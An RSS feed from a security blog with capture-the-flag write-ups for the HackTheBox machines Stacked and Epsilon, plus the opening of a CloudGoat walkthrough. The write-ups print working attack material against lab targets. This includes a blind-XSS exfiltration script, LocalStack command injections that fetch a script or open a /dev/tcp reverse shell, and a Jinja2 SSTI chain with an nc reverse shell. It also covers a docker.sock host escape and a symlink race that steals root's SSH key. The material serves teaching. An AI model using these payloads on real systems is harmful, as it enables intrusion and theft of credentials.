<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Yensyd Francisco | Security Skid]]></title><description><![CDATA[Just another security skid, trying to do interesting stuff.]]></description><link>https://kohicha.dev</link><image><url>https://cdn.hashnode.com/res/hashnode/image/upload/v1735123417980/6c919d02-cc30-4552-b0fd-cb3f93f4779b.png</url><title>Yensyd Francisco | Security Skid</title><link>https://kohicha.dev</link></image><generator>RSS for Node</generator><lastBuildDate>Fri, 09 Oct 2026 11:19:19 GMT</lastBuildDate><atom:link href="https://kohicha.dev/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Linux Insane: STACKED]]></title><description><![CDATA[Stacked is an insane Linux box built around a LocalStack container, an AWS service emulator running on the target itself. It teaches how a blind XSS in a header nobody sanitized leads to an internal h]]></description><link>https://kohicha.dev/linux-insane-stacked</link><guid isPermaLink="true">https://kohicha.dev/linux-insane-stacked</guid><dc:creator><![CDATA[kohicha]]></dc:creator><pubDate>Mon, 07 Sep 2026 16:36:49 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/673c6b60dcfeadc44f6aa79d/904beec5-6f0d-4395-9d6e-84545bb14be1.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Stacked is an insane Linux box built around a <strong>LocalStack</strong> container, an AWS service emulator running on the target itself. It teaches how a blind XSS in a header nobody sanitized leads to an internal hostname, how an emulated AWS API that trusts its own input leads to command execution, and how a mounted Docker socket turns container root into host root.</p>
<h2>Summary of the path</h2>
<p><code>rustscan</code> → <code>vhost fuzz finds portfolio.stacked.htb</code> → <code>docker-compose.yml discloses the LocalStack setup</code> → <code>XSS via unsanitized Referer header</code> → <code>XHR payload exfiltrates admin's mailbox</code> → <code>mail leaks s3-testing.stacked.htb</code> → <code>LocalStack command injection via function name</code> → <code>shell as localstack</code> → <code>pspy shows root building the Docker command</code> → <code>injection via handler gives container root</code> → <code>mounted docker.sock mounts the host filesystem</code> → <code>root</code></p>
<h2>Enumeration</h2>
<pre><code class="language-plaintext">22/tcp   open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.3
80/tcp   open  http        Apache httpd 2.4.41
|_http-title: Did not follow redirect to http://stacked.htb/
2376/tcp open  ssl/docker?
| ssl-cert: Subject: commonName=stacked
| Subject Alternative Name: DNS:localhost, DNS:stacked, IP Address:0.0.0.0, IP Address:127.0.0.1, IP Address:172.17.0.1
| Issuer: commonName=docker-ca
&lt;SNIP certificate&gt;
</code></pre>
<p>The redirect tells us to add <code>stacked.htb</code>, and virtual host fuzzing finds one more:</p>
<pre><code class="language-plaintext">$ ffuf -u http://stacked.htb -H "Host: FUZZ.stacked.htb" \
       -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -fw 18
&lt;SNIP&gt;
portfolio               [Status: 200, Size: 30268, Words: 11467, Lines: 445, Duration: 197ms]
</code></pre>
<h2>The portfolio site</h2>
<p>The portfolio subdomain is a single page marketing site, and its About section offers a <code>docker-compose.yml</code> download.</p>
<img src="https://cdn.hashnode.com/uploads/covers/673c6b60dcfeadc44f6aa79d/8ff66bec-9c55-4739-b826-7403345e1917.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/673c6b60dcfeadc44f6aa79d/881d231d-44b0-483f-9e12-4c684d567ea8.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-yaml">version: "3.3"
 
services:
  localstack:
    container_name: "${LOCALSTACK_DOCKER_NAME-localstack_main}"
    image: localstack/localstack-full:0.12.6
    network_mode: bridge
    ports:
      - "127.0.0.1:443:443"
      - "127.0.0.1:4566:4566"
      - "127.0.0.1:4571:4571"
      - "127.0.0.1:${PORT_WEB_UI-8080}:${PORT_WEB_UI-8080}"
    environment:
      - SERVICES=serverless
      - DEBUG=1
&lt;SNIP&gt;
      - DOCKER_HOST=unix:///var/run/docker.sock
      - HOST_TMP_FOLDER="/tmp/localstack"
    volumes:
      - "/tmp/localstack:/tmp/localstack"
      - "/var/run/docker.sock:/var/run/docker.sock"
</code></pre>
<p>The image is pinned to <code>localstack/localstack-full:0.12.6</code>. <code>SERVICES=serverless</code> means Lambda is the service in play. Every port is bound to <code>127.0.0.1</code>, so none of it is reachable from outside, which is why we will need a way to make the box talk to itself. And the volumes mount <code>/var/run/docker.sock</code> into the container.</p>
<h2>The contact form and a forgotten header</h2>
<p>The site's contact form posts to <code>process.php</code>.</p>
<img src="https://cdn.hashnode.com/uploads/covers/673c6b60dcfeadc44f6aa79d/0feacede-f881-4111-becd-e56bc0645f36.png" alt="" style="display:block;margin:0 auto" />

<p>Feeding a script tag into any of the form fields returns an "XSS detected!" error, so the fields are filtered. The filter is the interesting part: someone thought about XSS here, which usually means they thought about it in exactly the places they expected input to arrive.</p>
<p>Requests carry more than form fields, so we move the payload into the <code>Referer</code> header instead and watch a listener.</p>
<img src="https://cdn.hashnode.com/uploads/covers/673c6b60dcfeadc44f6aa79d/4cad7556-ed49-42e5-a062-557cd58251f3.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-plaintext">$ nc -lvnp 6969
listening on [any] 6969 ...
connect to [10.10.14.250] from (UNKNOWN) [10.129.228.28] 39392
GET / HTTP/1.1
Host: 10.10.14.250:6969
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:59.0) Gecko/20100101 Firefox/59.0
Referer: http://mail.stacked.htb/read-mail.php?id=3
origin: http://mail.stacked.htb
</code></pre>
<p>The callback answers two questions at once. The <code>Referer</code> header is rendered somewhere without sanitization, and the page it renders on is <code>http://mail.stacked.htb/read-mail.php?id=3</code>. Someone on the box is reading our submissions in a webmail client, and that client executes what we send. We now have a browser inside the network acting on our behalf, which matters because everything in that compose file was bound to localhost.</p>
<p>Blind XSS gives us execution but no output, so the next step is turning it into a read primitive. We host a script that fetches a page as the victim and POSTs the response body back to us:</p>
<pre><code class="language-javascript">async function scrapeAndSend(sourceUrl, destinationUrl) {
  try {
    const getResponse = await fetch(sourceUrl);
    if (!getResponse.ok) {
      throw new Error(`GET failed: ${getResponse.status}`);
    }
    const content = await getResponse.text();
 
    const postResponse = await fetch(destinationUrl, {
      method: 'POST',
      headers: {
        'Content-Type': 'text/plain'
      },
      body: JSON.stringify({ data: content })
    });
 
    console.log('Post status:', postResponse.status);
  } catch (error) {
    console.error('Operation failed:', error);
  }
}
 
const sourcePage = 'http://mail.stacked.htb/read-mail.php?id=1';
const destination = 'http://10.10.14.250:6969/';
 
scrapeAndSend(sourcePage, destination);
</code></pre>
<p>Serve it, listen, and submit a <code>Referer</code> that loads it as a script.</p>
<pre><code class="language-plaintext">$ python3 -m http.server
$ nc -lvnp 6969
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/673c6b60dcfeadc44f6aa79d/313a734f-58c0-46ff-8091-8e4f38ee82bd.png" alt="" style="display:block;margin:0 auto" />

<p>The mailbox HTML comes back in the POST body.</p>
<img src="https://cdn.hashnode.com/uploads/covers/673c6b60dcfeadc44f6aa79d/d233a68d-a6c5-4f00-94af-74305087d9f6.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/673c6b60dcfeadc44f6aa79d/56e73e82-795e-40f4-b3ec-7b6b530a0f55.png" alt="" style="display:block;margin:0 auto" />

<p>Stripped of the AdminLTE boilerplate, the message is the payload:</p>
<pre><code class="language-plaintext">Hey Adam, I have set up S3 instance on s3-testing.stacked.htb so that you can
configure the IAM users, roles and permissions. I have initialized a serverless
instance for you to work from but keep in mind for the time being you can only
run node instances. If you need anything let me know. Thanks.
</code></pre>
<p>A third virtual host, <code>s3-testing.stacked.htb</code>, which the fuzzing wordlist never would have found.</p>
<h2>LocalStack command injection</h2>
<p>Add the host and point the AWS CLI at it. LocalStack does not validate credentials, so any string works.</p>
<pre><code class="language-plaintext">$ aws configure --profile stacked
AWS Access Key ID [None]: stacked
AWS Secret Access Key [None]: stacked
Default region name [None]:
Default output format [None]:
</code></pre>
<p>Version 0.12.6 from the compose file is the detail that pays off here. <a href="https://www.sonarsource.com/blog/hack-the-stack-with-localstack/">Sonar</a> found a command injection in the LocalStack dashboard and published it as <a href="https://www.sonarsource.com/blog/hack-the-stack-with-localstack/"><strong>CVE-2021-32090</strong></a>. A route reads the Lambda function name from user input and pastes it into a shell string:</p>
<pre><code class="language-python"># localstack/dashboard/infra.py
out = cmd_lambda('get-function --function-name %s' % func_name, env, cache_time)
</code></pre>
<p>That string ends up in <code>subprocess.check_output(cmd, shell=True)</code>, so whatever we put in the name runs as a command. The same research explains why the rest of the box looks the way it does: LocalStack ships with no authentication because it expects to run on a developer's own machine, and Sonar's attack scenario reaches a localhost-bound instance through that developer's browser.</p>
<p>We create a function whose name carries the payload, and it fires when the dashboard processes it:</p>
<pre><code class="language-plaintext">$ aws --endpoint-url=http://s3-testing.stacked.htb lambda create-function \
      --function-name "test;wget 10.10.14.250/shell.sh;bash shell.sh" \
      --role "arn:aws:iam::kohicha:role/kohicha" --region us-east-1 \
      --zip-file fileb://test.zip --handler lambda.apiHandler \
      --runtime nodejs --profile stacked
{
    "FunctionName": "test;wget 10.10.14.250/shell.sh;bash shell.sh",
&lt;SNIP&gt;
    "State": "Active",
}
</code></pre>
<p>The listener catches a shell as the <code>localstack</code> user inside the container.</p>
<pre><code class="language-plaintext">$ penelope -p 6969
[+] Listening for reverse shells on 0.0.0.0:6969
[+] [New Reverse Shell] =&gt; 5d4d11a1113e 10.129.228.28 Linux-x86_64 localstack(1001) Session ID &lt;1&gt;
bash-5.0$ ls
Makefile  bin  localstack  nosetests.xml  requirements.txt  shell.sh  supervisord.pid
</code></pre>
<h2>From localstack to container root</h2>
<p>We are in the container as an unprivileged user. Running <code>pspy</code> shows what else is happening, and the answer is that root is doing all the real work:</p>
<img src="https://cdn.hashnode.com/uploads/covers/673c6b60dcfeadc44f6aa79d/15013d68-5b07-41fa-935f-5cfb892b3db4.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-plaintext">2026/09/07 15:02:38 CMD: UID=0  PID=1844  | unzip -o -q /tmp/localstack/zipfile.ee5dfc45/original_lambda_archive.zip
2026/09/07 15:03:42 CMD: UID=0  PID=1862  | docker create -i -e DOCKER_LAMBDA_USE_STDIN=1 &lt;SNIP&gt; -e _HANDLER=lambda.apiHandler &lt;SNIP&gt; --rm lambci/lambda:nodejs lambda.apiHandler
2026/09/07 15:03:42 CMD: UID=0  PID=1861  | /bin/sh -c CONTAINER_ID="$(docker create -i -e _HANDLER="$_HANDLER" &lt;SNIP&gt; "lambci/lambda:nodejs" "lambda.apiHandler")";docker cp "/tmp/localstack/zipfile.ee5dfc45/." "$CONTAINER_ID:/var/task"; docker start -ai "$CONTAINER_ID";
</code></pre>
<p>The last line is the one that matters. Root assembles a <code>/bin/sh -c</code> string and drops our handler value into it inside a command substitution. That means the same class of bug we already used, but reached through a different parameter and executed as UID 0 instead of as <code>localstack</code>. We move the payload into <code>--handler</code> and wrap it in <code>$( )</code> so the shell evaluates it while building the command:</p>
<pre><code class="language-plaintext">$ aws --endpoint-url=http://s3-testing.stacked.htb lambda create-function \
      --function-name "final-last" --role "arn:aws:iam::kohicha:role/kohicha" \
      --region us-east-1 --zip-file fileb://test.zip \
      --handler 'lambda.apiHandler $(/bin/bash -c "bash -i &gt;&amp; /dev/tcp/10.10.14.250/6767 0&gt;&amp;1")' \
      --runtime nodejs --profile stacked
&lt;SNIP&gt;
 
$ aws --endpoint-url=http://s3-testing.stacked.htb lambda invoke \
      --function-name "final-last" test --region us-east-1 --profile stacked
{
    "StatusCode": 200,
    "FunctionError": "Unhandled",
    "ExecutedVersion": "$LATEST"
}
</code></pre>
<p><code>pspy</code> shows the substitution firing as root, and the listener catches it:</p>
<img src="https://cdn.hashnode.com/uploads/covers/673c6b60dcfeadc44f6aa79d/244caf48-cccf-4970-bfe0-78316e304959.png" alt="" style="display:block;margin:0 auto" />

<h2>Container root is not host root</h2>
<p>Worth checking before celebrating. The hostname is a container ID and the address is on the Docker bridge, so this is root inside the LocalStack container, not on the machine.</p>
<pre><code class="language-plaintext">bash-5.0# hostname
5d4d11a1113e
bash-5.0# ip a
&lt;SNIP&gt;
4: eth0@if5: &lt;BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN&gt; mtu 1500
    inet 172.17.0.2/16 brd 172.17.255.255 scope global eth0
</code></pre>
<p><code>/root</code> here holds <code>.serverless</code> and <code>.terraform.d</code>, not <code>root.txt</code>. This is the container's root, and the flag is on the host.</p>
<h2>Root</h2>
<p>This is where the compose file from the first ten minutes pays off. <code>/var/run/docker.sock</code> was mounted into this container, and we are now root inside it, so we can drive the host's Docker daemon. Asking it to start a container that bind mounts <code>/</code> gives us the host filesystem inside a path we control (MITRE T1611, Escape to Host).</p>
<pre><code class="language-plaintext">bash-5.0# docker run -v /:/mnt --entrypoint sh -it 0601ea177088
/opt/code/localstack # cd /mnt
/mnt # ls -la
drwxr-xr-x   19 root  root  4096 Aug 26  2021 .
lrwxrwxrwx    1 root  root     7 Feb  1  2021 bin -&gt; usr/bin
drwxr-xr-x  110 root  root  4096 Aug 17  2022 etc
drwxr-xr-x    4 root  root  4096 Jul 14  2021 home
drwx------   11 root  root  4096 Sep  7 09:01 root
&lt;SNIP&gt;
</code></pre>
<p>That is the host's filesystem, mounted read-write, owned by us.</p>
<pre><code class="language-plaintext">/mnt # cd /mnt/root
/mnt/root # ls
Desktop         docker.service  root.txt
/mnt/root # cat root.txt
&lt;REDACTED&gt;
</code></pre>
]]></content:encoded></item><item><title><![CDATA[HTB Linux Medium: Epsilon]]></title><description><![CDATA[Epsilon is a medium Linux box built around a leaked git repository and a locally emulated AWS environment: https://app.hackthebox.com/machines/Epsilon. It teaches how a single exposed .git directory t]]></description><link>https://kohicha.dev/htb-linux-medium-epsilon</link><guid isPermaLink="true">https://kohicha.dev/htb-linux-medium-epsilon</guid><dc:creator><![CDATA[kohicha]]></dc:creator><pubDate>Thu, 03 Sep 2026 16:20:41 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/673c6b60dcfeadc44f6aa79d/a15338a4-f162-4036-9a3a-c62c29434bad.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Epsilon is a medium Linux box built around a leaked git repository and a locally emulated AWS environment: <a href="https://app.hackthebox.com/machines/Epsilon">https://app.hackthebox.com/machines/Epsilon</a>. It teaches how a single exposed <code>.git</code> directory turns into cloud credentials, how cloud credentials turn into source code, and how source code turns into a shell. Root comes from a symlink race against a backup job.</p>
<h2>Summary of the path</h2>
<p><code>nmap</code> → <code>exposed .git on port 80</code> → <code>git history leaks AWS keys</code> → <code>Lambda code disclosure via awscli</code> → <code>Flask source exposes admin login and JWT secret</code> → <code>SSTI on /order</code> → <code>shell as tom</code> → <code>pspy finds root backup job</code> → <code>symlink swaps checksum for root id_rsa</code> → <code>root over SSH</code></p>
<h2>Enumeration</h2>
<p>Three ports matter. SSH on 22 (OpenSSH 8.2p1 on Ubuntu focal), Apache on 80, and a Werkzeug development server on 5000 serving something called "Costume Shop". Werkzeug 2.0.2 on Python 3.8.10 tells us the app is Flask, worth remembering when we later go looking for template injection.</p>
<pre><code class="language-plaintext">$ nmap -sV -sC -A 10.129.96.151
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4
80/tcp   open  http    Apache httpd 2.4.41
|_http-title: 403 Forbidden
| http-git:
|   10.129.96.151:80/.git/
|     Git repository found!
|_    Last commit message: Updating Tracking API  # Please enter the commit message for...
5000/tcp open  http    Werkzeug httpd 2.0.2 (Python 3.8.10)
|_http-title: Costume Shop
</code></pre>
<p>Port 80 is interesting precisely because it looks boring. The index returns 403 Forbidden, so a quick pass would write it off, but nmap's <code>http-git</code> script already answered the question we had not asked yet: there is a <code>.git</code> directory served over HTTP, directory listing is denied but the objects underneath are not. Apache blocks <code>/</code> and <code>/.git/</code> while happily serving <code>/.git/HEAD</code>, and that is the whole finding.</p>
<p>The box wants hostnames later, so we add them now:</p>
<pre><code class="language-plaintext">10.129.96.151  epsilon.htb  cloud.epsilon.htb
</code></pre>
<p>The costume shop on 5000 is a small login-gated app. Unauthenticated we get the login page and a tracking page, and everything else bounces us back to <code>/</code>.</p>
<img src="https://cdn.hashnode.com/uploads/covers/673c6b60dcfeadc44f6aa79d/dada1fd6-c0d6-4294-8a36-8753d8b9b07e.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/673c6b60dcfeadc44f6aa79d/e08f3bc6-3b89-4ad4-94cc-559b263e5c9e.png" alt="" style="display:block;margin:0 auto" />

<h2>Foothold: from .git to Lambda to SSTI</h2>
<p><code>git-dumper</code> walks the object store one blob at a time and rebuilds the repository locally, which is exactly what an exposed <code>.git</code> with denied listings allows.</p>
<pre><code class="language-plaintext">$ git-dumper http://10.129.96.151/.git/ ~/epsilon
[-] Testing http://10.129.96.151/.git/HEAD [200]
[-] Testing http://10.129.96.151/.git/ [403]
&lt;SNIP&gt;
[-] Fetching objects
[-] Fetching http://10.129.96.151/.git/objects/7c/f92a7a09e523c1c667d13847c9ba22464412f3 [200]
&lt;SNIP&gt;
[-] Running git checkout .
</code></pre>
<p>Read the log before the files, because what a developer removed is usually more interesting than what they kept.</p>
<pre><code class="language-plaintext">$ git log --oneline
c622771 Fixed Typo
b10dd06 Adding Costume Site
c514416 Updatig Tracking API
7cf92a7 Adding Tracking API Module
</code></pre>
<p>Four commits, and the first one is named after the module we care about. We check it out and find hardcoded credentials.</p>
<pre><code class="language-plaintext">$ git checkout 7cf92a7a09e523c1c667d13847c9ba22464412f3
HEAD is now at 7cf92a7 Adding Tracking API Module

$ cat track_api_CR_148.py
import io
import os
from zipfile import ZipFile
from boto3.session import Session

session = Session(
    aws_access_key_id='&lt;REDACTED&gt;',
    aws_secret_access_key='&lt;REDACTED&gt;',
    region_name='us-east-1',
    endpoint_url='http://cloud.epsilong.htb')
aws_lambda = session.client('lambda')
&lt;SNIP&gt;
def update_lambda(lambda_name, lambda_code_path):
    if not os.path.isdir(lambda_code_path):
        raise ValueError('Lambda directory does not exist: {0}'.format(lambda_code_path))
    aws_lambda.update_function_code(
        FunctionName=lambda_name,
        ZipFile=make_zip_file_bytes(path=lambda_code_path))
</code></pre>
<p>Two things to take from this file. The obvious one is the key pair. The subtle one is <code>endpoint_url</code>, which tells us this is not real AWS, it is an emulated AWS API reachable at a hostname on the box itself. Note the <code>g</code> in <code>cloud.epsilong.htb</code>: that typo is what the later "Fixed Typo" commit repaired, so the working hostname is <code>cloud.epsilon.htb</code>, the one we already put in <code>/etc/hosts</code>. Chasing the string as written leads nowhere, a good reminder to read a leaked config as a draft rather than as gospel.</p>
<p>We install awscli v2 and point it at the box:</p>
<pre><code class="language-plaintext">$ curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64-2.23.6.zip" -o "awscliv2.zip"
$ unzip awscliv2.zip &amp;&amp; sudo ./install.sh
&lt;SNIP&gt;
You can now run: /usr/local/bin/aws --version

$ aws configure --profile epsilon
AWS Access Key ID [None]: &lt;REDACTED&gt;
AWS Secret Access Key [None]: &lt;REDACTED&gt;
Default region name [None]: us-east-1
Default output format [None]: json
</code></pre>
<p>Enumerating the Lambda service gives us a single function, <code>costume_shop_v1</code>, and asking for its details hands over a download link for its code. That link is the real prize: <code>get-function</code> returns a URL to the deployment package, so read access to Lambda metadata is read access to source.</p>
<pre><code class="language-plaintext">$ aws --endpoint-url=http://cloud.epsilon.htb lambda get-function \
      --function-name costume_shop_v1 --profile epsilon
{
    "Configuration": {
        "FunctionName": "costume_shop_v1",
        "Runtime": "python3.7",
        "Role": "arn:aws:iam::123456789012:role/service-role/dev",
        "Handler": "my-function.handler",
        "CodeSize": 478,
&lt;SNIP&gt;
    },
    "Code": {
        "Location": "http://cloud.epsilon.htb/2015-03-31/functions/costume_shop_v1/code"
    }
}
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/673c6b60dcfeadc44f6aa79d/e5b5c19d-bf08-4861-b6c8-802a2ff4c0a8.png" alt="" style="display:block;margin:0 auto" />

<p>Unzipping the package gives us the Flask application running on port 5000:</p>
<pre><code class="language-python">#!/usr/bin/python3

import jwt
from flask import *

app = Flask(__name__)
secret = '&lt;REDACTED&gt;'

def verify_jwt(token,key):
	try:
		username=jwt.decode(token,key,algorithms=['HS256',])['username']
		if username:
			return True
		else:
			return False
	except:
		return False

@app.route("/", methods=["GET","POST"])
def index():
	if request.method=="POST":
		if request.form['username']=="admin" and request.form['password']=="admin":
			res = make_response()
			token=jwt.encode({"username":"admin"},secret,algorithm="HS256")
			res.set_cookie("auth",token)
			res.headers['location']='/home'
			return res,302
&lt;SNIP&gt;
app.run(debug='true')
</code></pre>
<p>The gate is not really a gate once we have this file. <code>verify_jwt</code> accepts any HS256 token that carries a <code>username</code> claim and validates against <code>secret</code>, and <code>secret</code> is right there in the source we just downloaded. So we skip the login form entirely and sign our own token for <code>{"username": "admin"}</code> with the leaked key, then set it as the <code>auth</code> cookie by hand.</p>
<pre><code class="language-python">&gt;&gt;&gt; import jwt
&gt;&gt;&gt; jwt.encode({"username":"admin"}, '&lt;REDACTED&gt;', algorithm="HS256")
'&lt;REDACTED_JWT&gt;'
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/673c6b60dcfeadc44f6aa79d/a3190b5b-8435-49b6-b319-3b129a8a547d.png" alt="" style="display:block;margin:0 auto" />

<p>Dropping that value into the browser as <code>auth=&lt;jwt&gt;</code> is enough, since every protected route only ever asks <code>verify_jwt</code> whether the cookie verifies. The hardcoded <code>admin:admin</code> in the handler would have worked too, worth noticing as a second finding, but forging the cookie is the cleaner read of the bug: the secret being in the deployment package means authentication is decorative.</p>
<p>The route that matters is <code>/order</code>:</p>
<pre><code class="language-python">@app.route('/order',methods=["GET","POST"])
def order():
	if verify_jwt(request.cookies.get('auth'),secret):
		if request.method=="POST":
			costume=request.form["costume"]
			message = '''
			Your order of "{}" has been placed successfully.
			'''.format(costume)
			tmpl=render_template_string(message,costume=costume)
			return render_template('order.html',message=tmpl)
</code></pre>
<p>This is the beat worth slowing down for. The developer did the safe thing and passed <code>costume</code> into the template as a variable, then undid it on the line above by using <code>.format()</code> to build the template string itself. Our input is not template data, it is template source, and <code>render_template_string</code> compiles it. Anything we type into the costume field is Jinja2 that the server agrees to execute. We expected to hunt for a sink in the source; instead the sink was two lines long.</p>
<p>The confirmation is the usual one, <code>{{7*7}}</code> coming back as 49 inside the order confirmation message:</p>
<img src="https://cdn.hashnode.com/uploads/covers/673c6b60dcfeadc44f6aa79d/58b9448d-3faa-49c4-a609-cd4d7fbb2943.png" alt="" style="display:block;margin:0 auto" />

<p>From there we need a path from the template context to something that can run commands. <code>self._TemplateReference__context</code> is the render context object, <code>cycler</code> is a global Jinja helper that lives in it, and its <code>__init__.__globals__</code> gives us the module globals of the file <code>cycler</code> is defined in, which imports <code>os</code>. That chain gets us to command execution without needing any object the application itself defined:</p>
<pre><code class="language-plaintext">self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read()
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/673c6b60dcfeadc44f6aa79d/51d89454-6c82-49cd-987d-c49552cc9a93.png" alt="" style="display:block;margin:0 auto" />

<p>With execution proven, we swap <code>id</code> for a named pipe reverse shell. The payload goes in URL encoded so the shell metacharacters survive the form submission:</p>
<pre><code class="language-plaintext">self._TemplateReference__context.cycler.__init__.__globals__.os.popen('rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff|sh%20-i%202%3E%261|nc%2010.10.14.250%206969%20%3E%2Ftmp%2Ff').read()
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/673c6b60dcfeadc44f6aa79d/74c8dc19-60ad-4c46-b997-40d0d3a03417.png" alt="" style="display:block;margin:0 auto" />

<p>And the listener catches it:</p>
<img src="https://cdn.hashnode.com/uploads/covers/673c6b60dcfeadc44f6aa79d/93bcb6b6-7ac8-49f8-a936-ec63b49213e4.png" alt="" style="display:block;margin:0 auto" />

<h2>User</h2>
<p>There is no lateral movement on this box. The Flask app runs as <code>tom</code>, not root, and <code>tom</code> owns <code>user.txt</code>, so the SSTI shell is already the user shell.</p>
<img src="https://cdn.hashnode.com/uploads/covers/673c6b60dcfeadc44f6aa79d/d653c77e-062d-4826-b222-40585ddbe1e7.png" alt="" style="display:block;margin:0 auto" />

<h2>Privilege escalation</h2>
<p>Nothing in the usual sweep of sudo rights and SUID binaries leads anywhere, and the app is a dead end once we have its source. An unremarkable filesystem on a box that clearly automates something is the cue to watch time rather than watch files. We upload <code>pspy64</code> and let it sit.</p>
<img src="https://cdn.hashnode.com/uploads/covers/673c6b60dcfeadc44f6aa79d/56856131-06fc-42ed-a128-106e4e2cf309.png" alt="" style="display:block;margin:0 auto" />

<p>The process log shows a root owned backup routine firing on a short interval. It works out of <code>/opt/backups</code>, handles a file called <code>checksum</code> there, and writes tar archives into <code>/var/backups/web_backups</code>. The archive it produces contains <code>opt/backups/checksum</code> alongside a nested tar of the site, which is the detail that matters: root reads that path and copies whatever it finds there into an archive we can read.</p>
<img src="https://cdn.hashnode.com/uploads/covers/673c6b60dcfeadc44f6aa79d/b45b784e-a2a0-42f9-bec8-06c2396ef1fc.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-bash">tom@epsilon:~$ cat /usr/bin/backup.sh
#!/bin/bash
file=`date +%N`
/usr/bin/rm -rf /opt/backups/
/usr/bin/tar -cvf "/opt/backups/file.tar" /var/www/app/
sha1sum "/opt/backups/file.tar" | cut -d ' ' -f1 &gt; /opt/backups/checksum
sleep 5
check_file=`date +%N`
/usr/bin/tar -chvf "/var/backups/web_backups/{check_file}.tar" /opt/backups/checksum "/opt/backups/file.tar"
/usr/bin/rm -rf /opt/backups/
</code></pre>
<p>Read top to bottom, this hands us everything. Each cycle wipes and recreates <code>/opt/backups/</code>, tars the web root into <code>file.tar</code>, writes a <code>sha1sum</code> of that tar into <code>checksum</code>, sleeps five seconds, then archives both <code>checksum</code> and <code>file.tar</code> into <code>/var/backups/web_backups/</code>. The second <code>tar</code> uses <code>-h</code>, which tells <code>tar</code> to follow symbolic links and archive what they point at rather than the link itself. And the <code>sleep 5</code> is a five second window, sitting right between the moment <code>checksum</code> is created and the moment it gets read.</p>
<p><code>tom</code> can write in <code>/opt/backups</code>, so we control what <code>checksum</code> is. <code>tar</code> follows symbolic links it is told to archive, so if <code>checksum</code> is a link to a file only root can read, root's own backup job will read it for us and hand us the contents inside a world readable archive.</p>
<p>The one complication is timing. The job recreates <code>checksum</code> each cycle, so we have to replace it in the window between its creation and the <code>tar</code> that reads it. A short script plus a busy loop is enough to win that race:</p>
<pre><code class="language-sh">#!/bin/sh

if [ -e /opt/backups/checksum ]; then
	rm -f /opt/backups/checksum
	ln -sf /root/.ssh/id_rsa /opt/backups/checksum
fi
</code></pre>
<pre><code class="language-plaintext">tom@epsilon:~$ chmod +x exploit.sh
tom@epsilon:~$ while true; do ./exploit.sh; done
tom@epsilon:~$ ls -la /var/backups/web_backups
-rw-r--r-- 1 root root 1003520 Sep  3 15:15 220542670.tar
-rw-r--r-- 1 root root 1003520 Sep  3 15:16 323537395.tar
-rw-r--r-- 1 root root 1003520 Sep  3 15:17 352081509.tar
</code></pre>
<p>We take the newest archive, unpack it in <code>tom</code>'s home, and read the file that was supposed to be a checksum:</p>
<pre><code class="language-plaintext">tom@epsilon:~$ cp /var/backups/web_backups/352081509.tar .
tom@epsilon:~$ tar -xvf 352081509.tar
opt/backups/checksum
opt/backups/335417017.tar
tom@epsilon:~$ cat opt/backups/checksum
-----BEGIN OPENSSH PRIVATE KEY-----
&lt;REDACTED&gt;
-----END OPENSSH PRIVATE KEY-----
</code></pre>
<p>The trailing comment inside the key confirms the owner, <code>root@epsilon</code>.</p>
<h2>Root</h2>
<p>With the key obtained and <code>chmod 600</code> applied, root is a single SSH connection away, no password and no further escalation needed.</p>
<img src="https://cdn.hashnode.com/uploads/covers/673c6b60dcfeadc44f6aa79d/dd6fc15c-6396-4c0f-9631-89b1fc70939d.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/673c6b60dcfeadc44f6aa79d/2ad2b5b6-b505-4ca6-a9f5-3ab3104c111f.png" alt="" style="display:block;margin:0 auto" />]]></content:encoded></item><item><title><![CDATA[Cloudgoat Hard: RCE Web App]]></title><description><![CDATA[In this lab, we'll be doing a walkthrough on the rce_web_app cloudgoat scenario. It hands us two separate low-privilege users, Lara and McDuck, and two completely different ways in. Both end at the sa]]></description><link>https://kohicha.dev/cloudgoat-hard-rce-web-app</link><guid isPermaLink="true">https://kohicha.dev/cloudgoat-hard-rce-web-app</guid><dc:creator><![CDATA[kohicha]]></dc:creator><pubDate>Tue, 01 Sep 2026 15:20:46 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/673c6b60dcfeadc44f6aa79d/fcaf79b9-b14e-4237-843a-9407dba7da09.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>In this lab, we'll be doing a walkthrough on the <a href="https://github.com/RhinoSecurityLabs/cloudgoat#rce_web_app"><strong>rce_web_app</strong></a> cloudgoat scenario. It hands us two separate low-privilege users, Lara and McDuck, and two completely different ways in. Both end at the same place: a database holding a secret passcode.</p>
<p><strong>Summary of the path</strong></p>
